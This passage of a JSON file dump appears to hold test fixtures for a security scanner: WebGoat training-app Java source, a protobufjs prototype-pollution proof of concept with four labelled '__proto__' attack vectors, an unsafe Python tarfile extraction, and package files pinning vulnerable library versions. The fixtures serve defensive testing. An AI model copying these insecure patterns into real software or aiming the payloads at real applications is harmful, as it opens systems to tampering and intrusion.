jwt.split(\"\\\\.\");\n    var builder = JWTToken.builder().encoded(jwt);\n\n    if (token.length >= 2) {\n      var header = new String(decodeFromUrlSafeString(token[0]), UTF_8);\n      var payloadAsString = new String(decodeFromUrlSafeString(token[1]), UTF_8);\n      var headers = parse(header);\n      var payload = parse(payloadAsString);\n      builder.header(write(header, headers));\n      builder.payload(write(payloadAsString, payload));\n      builder.validHeader(!headers.isEmpty());\n      builder.validPayload(!payload.isEmpty());\n      builder.validToken(!headers.isEmpty() && !payload.isEmpty());\n    } else {\n      builder.validToken(false);\n    }\n    return builder.build();\n  }\n\n  private static boolean validateSignature(String secretKey, String jwt) {\n    if (hasText(secretKey)) {\n      JwtConsumer jwtConsumer =\n          new JwtConsumerBuilder()\n              .setSkipAllValidators()\n              .setVerificationKey(new HmacKey(secretKey.getBytes(UTF_8)))\n              .setRelaxVerificationKeyValidation()\n              .build();\n      try {\n        jwtConsumer.processToClaims(jwt);\n        return true;\n      } catch (InvalidJwtException e) {\n        return false;\n      }\n    }\n    return false;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/mailbox/Email.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.webwolf.mailbox;\n\nimport com.fasterxml.jackson.annotation.JsonIgnore;\nimport java.io.Serializable;\nimport java.time.LocalDateTime;\nimport java.time.format.DateTimeFormatter;\nimport javax.persistence.*;\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\n/**\n * @author nbaars\n * @since 8/20/17.\n */\n@Data\n@Builder\n@AllArgsConstructor\n@Entity\n@NoArgsConstructor\npublic class Email implements Serializable {\n\n  @Id\n  @GeneratedValue(strategy = GenerationType.IDENTITY)\n  private Long id;\n\n  @JsonIgnore private LocalDateTime time = LocalDateTime.now();\n\n  @Column(length = 1024)\n  private String contents;\n\n  private String sender;\n  private String title;\n  private String recipient;\n\n  public String getSummary() {\n    return \"-\" + this.contents.substring(0, Math.min(50, contents.length()));\n  }\n\n  public LocalDateTime getTimestamp() {\n    return time;\n  }\n\n  public String getTime() {\n    return DateTimeFormatter.ofPattern(\"h:mm a\").format(time);\n  }\n\n  public String getShortSender() {\n    return sender.substring(0, sender.indexOf(\"@\"));\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxController.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.webwolf.mailbox;\n\nimport java.util.List;\nimport lombok.AllArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.security.core.context.SecurityContextHolder;\nimport org.springframework.security.core.userdetails.UserDetails;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.servlet.ModelAndView;\n\n@RestController\n@AllArgsConstructor\n@Slf4j\npublic class MailboxController {\n\n  private final MailboxRepository mailboxRepository;\n\n  @GetMapping(value = \"/mail\")\n  public ModelAndView mail() {\n    UserDetails user =\n        (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal();\n    ModelAndView modelAndView = new ModelAndView();\n    List<Email> emails = mailboxRepository.findByRecipientOrderByTimeDesc(user.getUsername());\n    if (emails != null && !emails.isEmpty()) {\n      modelAndView.addObject(\"total\", emails.size());\n      modelAndView.addObject(\"emails\", emails);\n    }\n    modelAndView.setViewName(\"mailbox\");\n    return modelAndView;\n  }\n\n  @PostMapping(value = \"/mail\")\n  public ResponseEntity<?> sendEmail(@RequestBody Email email) {\n    mailboxRepository.save(email);\n    return ResponseEntity.status(HttpStatus.CREATED).build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxRepository.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.webwolf.mailbox;\n\nimport java.util.List;\nimport org.springframework.data.jpa.repository.JpaRepository;\n\n/**\n * @author nbaars\n * @since 8/17/17.\n */\npublic interface MailboxRepository extends JpaRepository<Email, String> {\n\n  List<Email> findByRecipientOrderByTimeDesc(String recipient);\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/requests/LandingPage.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.webwolf.requests;\n\nimport java.util.concurrent.Callable;\nimport javax.servlet.http.HttpServletRequest;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\n\n@Controller\n@Slf4j\n@RequestMapping(\"/landing/**\")\npublic class LandingPage {\n\n  @RequestMapping(\n      method = {\n        RequestMethod.POST,\n        RequestMethod.GET,\n        RequestMethod.DELETE,\n        RequestMethod.PATCH,\n        RequestMethod.PUT\n      })\n  public Callable<ResponseEntity<?>> ok(HttpServletRequest request) {\n    return () -> {\n      log.trace(\"Incoming request for: {}\", request.getRequestURL());\n      return ResponseEntity.ok().build();\n    };\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/requests/Requests.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.webwolf.requests;\n\nimport static java.util.stream.Collectors.toList;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport java.time.Instant;\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\nimport lombok.RequiredArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.boot.actuate.trace.http.HttpTrace;\nimport org.springframework.boot.actuate.trace.http.HttpTrace.Request;\nimport org.springframework.security.core.context.SecurityContextHolder;\nimport org.springframework.security.core.userdetails.UserDetails;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.servlet.ModelAndView;\n\n/**\n * Controller for fetching all the HTTP requests from WebGoat to WebWolf for a specific user.\n *\n * @author nbaars\n * @since 8/13/17.\n */\n@Controller\n@RequiredArgsConstructor\n@Slf4j\n@RequestMapping(value = \"/requests\")\npublic class Requests {\n\n  private final WebWolfTraceRepository traceRepository;\n  private final ObjectMapper objectMapper;\n\n  @AllArgsConstructor\n  @Getter\n  private class Tracert {\n    private final Instant date;\n    private final String path;\n    private final String json;\n  }\n\n  @GetMapping\n  public ModelAndView get() {\n    var model = new ModelAndView(\"requests\");\n    var user = (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal();\n    var traces =\n        traceRepository.findAllTraces().stream()\n            .filter(t -> allowedTrace(t, user))\n            .map(t -> new Tracert(t.getTimestamp(), path(t), toJsonString(t)))\n            .collect(toList());\n    model.addObject(\"traces\", traces);\n\n    return model;\n  }\n\n  private boolean allowedTrace(HttpTrace t, UserDetails user) {\n    Request req = t.getRequest();\n    boolean allowed = true;\n    /* do not show certain traces to other users in a classroom setup */\n    if (req.getUri().getPath().contains(\"/files\")\n        && !req.getUri().getPath().contains(user.getUsername())) {\n      allowed = false;\n    } else if (req.getUri().getPath().contains(\"/landing\")\n        && req.getUri().getQuery() != null\n        && req.getUri().getQuery().contains(\"uniqueCode\")\n        && !req.getUri().getQuery().contains(StringUtils.reverse(user.getUsername()))) {\n      allowed = false;\n    }\n\n    return allowed;\n  }\n\n  private String path(HttpTrace t) {\n    return (String) t.getRequest().getUri().getPath();\n  }\n\n  private String toJsonString(HttpTrace t) {\n    try {\n      return objectMapper.writeValueAsString(t);\n    } catch (JsonProcessingException e) {\n      log.error(\"Unable to create json\", e);\n    }\n    return \"No request(s) found\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/requests/WebWolfTraceRepository.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.webwolf.requests;\n\nimport com.google.common.collect.EvictingQueue;\nimport java.util.ArrayList;\nimport java.util.List;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.boot.actuate.trace.http.HttpTrace;\nimport org.springframework.boot.actuate.trace.http.HttpTraceRepository;\n\n/**\n * Keep track of all the incoming requests, we are only keeping track of request originating from\n * WebGoat.\n *\n * @author nbaars\n * @since 8/13/17.\n */\n@Slf4j\npublic class WebWolfTraceRepository implements HttpTraceRepository {\n\n  private final EvictingQueue<HttpTrace> traces = EvictingQueue.create(10000);\n  private final List<String> exclusionList =\n      List.of(\n          \"/tmpdir\",\n          \"/home\",\n          \"/files\",\n          \"/images/\",\n          \"/favicon.ico\",\n          \"/js/\",\n          \"/webjars/\",\n          \"/requests\",\n          \"/css/\",\n          \"/mail\");\n\n  @Override\n  public List<HttpTrace> findAll() {\n    return List.of();\n  }\n\n  public List<HttpTrace> findAllTraces() {\n    return new ArrayList<>(traces);\n  }\n\n  private boolean isInExclusionList(String path) {\n    return exclusionList.stream().anyMatch(e -> path.contains(e));\n  }\n\n  @Override\n  public void add(HttpTrace httpTrace) {\n    var path = httpTrace.getRequest().getUri().getPath();\n    if (!isInExclusionList(path)) {\n      traces.add(httpTrace);\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/user/UserRepository.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.webwolf.user;\n\nimport org.springframework.data.jpa.repository.JpaRepository;\n\n/**\n * @author nbaars\n * @since 3/19/17.\n */\npublic interface UserRepository extends JpaRepository<WebGoatUser, String> {\n\n  WebGoatUser findByUsername(String username);\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/user/UserService.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.webwolf.user;\n\nimport org.springframework.security.core.userdetails.UserDetailsService;\nimport org.springframework.security.core.userdetails.UsernameNotFoundException;\nimport org.springframework.stereotype.Service;\n\n/**\n * @author nbaars\n * @since 3/19/17.\n */\n@Service\npublic class UserService implements UserDetailsService {\n\n  private UserRepository userRepository;\n\n  public UserService(UserRepository userRepository) {\n    this.userRepository = userRepository;\n  }\n\n  @Override\n  public WebGoatUser loadUserByUsername(final String username) throws UsernameNotFoundException {\n    WebGoatUser webGoatUser = userRepository.findByUsername(username);\n    if (webGoatUser == null) {\n      throw new UsernameNotFoundException(\"User not found\");\n    }\n    webGoatUser.createUser();\n    return webGoatUser;\n  }\n\n  public void addUser(final String username, final String password) {\n    userRepository.save(new WebGoatUser(username, password));\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/user/WebGoatUser.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.webwolf.user;\n\nimport java.util.Collection;\nimport java.util.Collections;\nimport javax.persistence.Entity;\nimport javax.persistence.Id;\nimport javax.persistence.Transient;\nimport lombok.Getter;\nimport org.springframework.security.core.GrantedAuthority;\nimport org.springframework.security.core.userdetails.User;\nimport org.springframework.security.core.userdetails.UserDetails;\n\n/**\n * @author nbaars\n * @since 3/19/17.\n */\n@Getter\n@Entity\npublic class WebGoatUser implements UserDetails {\n\n  @Id private String username;\n  private String password;\n  @Transient private User user;\n\n  protected WebGoatUser() {}\n\n  public WebGoatUser(String username, String password) {\n    this.username = username;\n    this.password = password;\n    createUser();\n  }\n\n  public void createUser() {\n    this.user = new User(username, password, getAuthorities());\n  }\n\n  public Collection<? extends GrantedAuthority> getAuthorities() {\n    return Collections.emptyList();\n  }\n\n  @Override\n  public boolean isAccountNonExpired() {\n    return this.user.isAccountNonExpired();\n  }\n\n  @Override\n  public boolean isAccountNonLocked() {\n    return this.user.isAccountNonLocked();\n  }\n\n  @Override\n  public boolean isCredentialsNonExpired() {\n    return this.user.isCredentialsNonExpired();\n  }\n\n  @Override\n  public boolean isEnabled() {\n    return this.user.isEnabled();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/npm/index.js",
    "content": "// index.js\nprotobuf = require(\"protobufjs\");\n\n// Object.freeze(Object.prototype);\n\nlet person1 = {firstName:\"John\", lastName:\"Doe\", age:50, eyeColor:\"blue\"};\nlet person2 = {firstCoolName:\"John\", lastName:\"Doe\", age:50, eyeColor:\"blue\"};\n\n// Vector 1\nlet evilkey = \"__proto__.firstName\"\nlet evilval = \"evilvalue\"\nprotobuf.util.setProperty(person1, evilkey, evilval); \n\n// Vector 2\nlet obj = new protobuf.ReflectionObject(\"Test\")\nobj.setParsedOption({}, evilval, evilkey);\n\n\n// Vector 3\nlet p = `option (foo).__proto__.someprop= \"somevalue\";`\nprotobuf.parse(p)\n// Vector 4\nprotobuf.load(\"/path/to/untrusted.proto\", function(err, root) { return });\nconsole.log({}.firstName);\nconsole.log(person1.firstName);\nconsole.log(person2.firstName); \n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/python/main.py",
    "content": "#!/usr/bin/env python3\nimport os\nimport tarfile\n\n\ndef py_files(members):\n    for tarinfo in members:\n        if os.path.splitext(tarinfo.name)[1] == \".py\":\n            yield tarinfo\n\n\ndef get_name():\n    return \"sample.tar.gz\"\n\n\nname = get_name()\ntar = tarfile.open(name)\ntar.extractall(members=py_files(tar))\ntar.close()\n"
  },
  {
    "path": "src/test/resources/yarn/exampleYarnMonorepo/.gitignore",
    "content": "node_modules/\n"
  },
  {
    "path": "src/test/resources/yarn/exampleYarnMonorepo/mobile/package.json",
    "content": "{\n  \"name\": \"mobile\",\n  \"private\": true,\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"axios\": \"1.5.1\"\n  },\n  \"description\": \"An Ionic project\"\n}"
  },
  {
    "path": "src/test/resources/yarn/exampleYarnMonorepo/package.json",
    "content": "{\n  \"name\": \"example-monorepo\",\n  \"version\": \"1.0.0\",\n  \"description\": \"monorepo root\",\n  \"license\": \"SEE LICENSE IN LICENSE.md\",\n  \"private\": true,\n  \"workspaces\": [\n    \"web\",\n    \"mobile\"\n  ],\n  \"dependencies\": {\n    \"axios\": \"1.5.1\",\n    \"cli-table\": \"0.3.1\"\n  }\n}\n"
  },
  {
    "path": "src/test/resources/yarn/exampleYarnMonorepo/web/package.json",
    "content": "{\n  \"name\": \"web\",\n  \"version\": \"0.0.1\",\n  \"license\": \"SEE LICENSE IN LICENSE.md\",\n  \"dependencies\": {\n    \"axios\": \"1.5.1\",\n    \"lodash\": \"4.16.2\"\n  }\n}\n"
  },
  {
    "path": "src/test/resources/yarn/exampleYarnPackage/.gitignore",
    "content": "node_modules/\n"
  },
  {
    "path": "src/test/resources/yarn/exampleYarnPackage/package.json",
    "content": "{\n  \"name\": \"example-yarn-package\",\n  \"version\": \"1.0.0\",\n  \"description\": \"An example package to demonstrate Yarn\",\n  \"main\": \"index.js\",\n  \"repository\": {\n    \"url\": \"github.com/yarnpkg/example-yarn-package\",\n    \"type\": \"git\"\n  },\n  \"scripts\": {\n    \"test\": \"jest\"\n  },\n  \"author\": \"Yarn Contributors\",\n  \"license\": \"BSD-2-Clause\",\n  \"dependencies\": {\n    \"lodash\": \"^4.16.2\"\n  },\n  \"devDependencies\": {\n    \"jest-cli\": \"15.1.1\"\n  },\n  \"jest\": {\n    \"testEnvironment\": \"node\"\n  }\n}\n"
  }
]